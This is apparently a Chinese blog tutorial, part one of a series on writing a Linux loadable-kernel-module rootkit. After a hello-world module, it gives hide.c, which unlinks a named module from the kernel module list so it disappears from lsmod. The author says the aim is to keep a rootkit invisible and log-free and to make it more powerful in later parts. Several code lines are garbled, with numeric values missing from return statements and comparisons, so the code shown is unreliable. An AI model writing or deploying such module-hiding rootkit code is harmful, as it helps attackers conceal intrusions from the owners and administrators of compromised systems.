手把手教你写LKM rookit! 之 第一个lkm程序及模块隐藏(一)

时间:2022-07-26 19:41:57

  唉,一开始在纠结起个什么名字,感觉名字常常的很装逼,于是起了个这《手把手教你写LKM rookit》

  我觉得:手把手教你写LKM rookit! 之 第一个lkm程序及模块隐藏(一) 你们觉得:手把手教你写LKM rookit! 之 第一个lkm程序及模块隐藏(一)。。。。。。

开始之前,我们先来理解一句话:一切的操作都是系统调用。系统通过陷入或者库的方式,让你跟内核的函数交互。当然啦,平时我们都处在用户态的情况下,系统调用调用的是内核态的函数,ps:这个系列完了,我们从内核级的rookit脱离出来,升级到bios级别的rootkit,哇卡卡~~

那么我在这傻了吧唧的讲了半天,什么是LKM,Loadable Kernel Modules,翻译过来就是“可加载内核模块程序”。

系统调用一般来处理什么I/O请求啦,进程管理啦,内存管理啊之类的,你想想原来你原来程序有个函数a,调用的是底层的函数b,你把函数b拦截了替换了一个函数c。。。。

我的系统调用号的定义在 /usr/include/asm-generic/unistd.h 文件中

#include <asm/bitsperlong.h>

/*
* This file contains the system call numbers, based on the
* layout of the x86-64 architecture, which embeds the
* pointer to the syscall in the table.
*
* As a basic principle, no duplication of functionality
* should be added, e.g. we don't use lseek when llseek
* is present. New architectures should use this file
* and implement the less feature-full calls in user space.
*/ #ifndef __SYSCALL
#define __SYSCALL(x, y)
#endif #if __BITS_PER_LONG == 32 || defined(__SYSCALL_COMPAT)
#define __SC_3264(_nr, _32, _64) __SYSCALL(_nr, _32)
#else

hello.c这个以后会成为功能性的主文件

 #include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/list.h>
#include <linux/string.h>
#include <linux/moduleparam.h> MODULE_LICENSE ("GPL");
MODULE_AUTHOR("l137");
MODULE_DESCRIPTION("test"); static int fuck_init(void){
printk(KERN_ALERT "come on baby!!");
return ;
} static void fuck_exit(void){
printk(KERN_ALERT "bye-bye\n");
} module_init(fuck_init);
module_exit(fuck_exit)

hello.c

Makefile:

obj-m += hello.o

all:
make -C /lib/modules/`uname -r`/build M=`pwd` modules
clean:
make -C /lib/modules/`uname -r`/build M=`pwd` clean

make之后得到hello.ko文件sudo insmod hello.ko可加载此模块,用rmmod hello删除模块,用dmesg可以查看到我的模块的remove_init函数的执行情况。

[  333.890125] come on baby!!

liet@kali:~/code/c/study/lkm$ lsmod | grep hello
hello 12417 0

至此你的第一个内核级的hello出来了,接下来我们来隐藏它,我们写的是rootkit,当然不能让别人lsmod就能看到,以后日志也不要有

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hide.c

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/list.h>
#include <linux/string.h>
#include <linux/moduleparam.h> MODULE_LICENSE ("GPL");
MODULE_AUTHOR("l137");
MODULE_DESCRIPTION("test"); static char *mod_name = "hello";
module_param(mod_name, charp, ); static int remove_init(void){
struct module *mod_head,*mod_counter;
struct list_head *p;
mod_head = &__this_module;
list_for_each(p, &mod_head->list){
mod_counter = list_entry(p, struct module, list);
if(strcmp(mod_counter->name, mod_name) == ){
list_del(p);
printk("removetree module %s ok!\n",mod_name);
return ;
}
}
printk("Can't find module %s.\n",mod_name);
return ;
} static void remove_exit(void){
printk(KERN_ALERT "hide say : bye-bye\n");
} module_init(remove_init);
module_exit(remove_exit);

Makefile跟hello的Makefile一样,改个名字就行

当第一个模块添加后,添加sudo insmod hide.ko,

dmesg一下看到

[ 333.890125] come on baby!!removetree module hello ok!,

这个时候你lsmod发现你的hello不见了,其实它还在。。。。。。

后面我们会往这里面添加些好玩的功能,让这个rootkit强大起来!!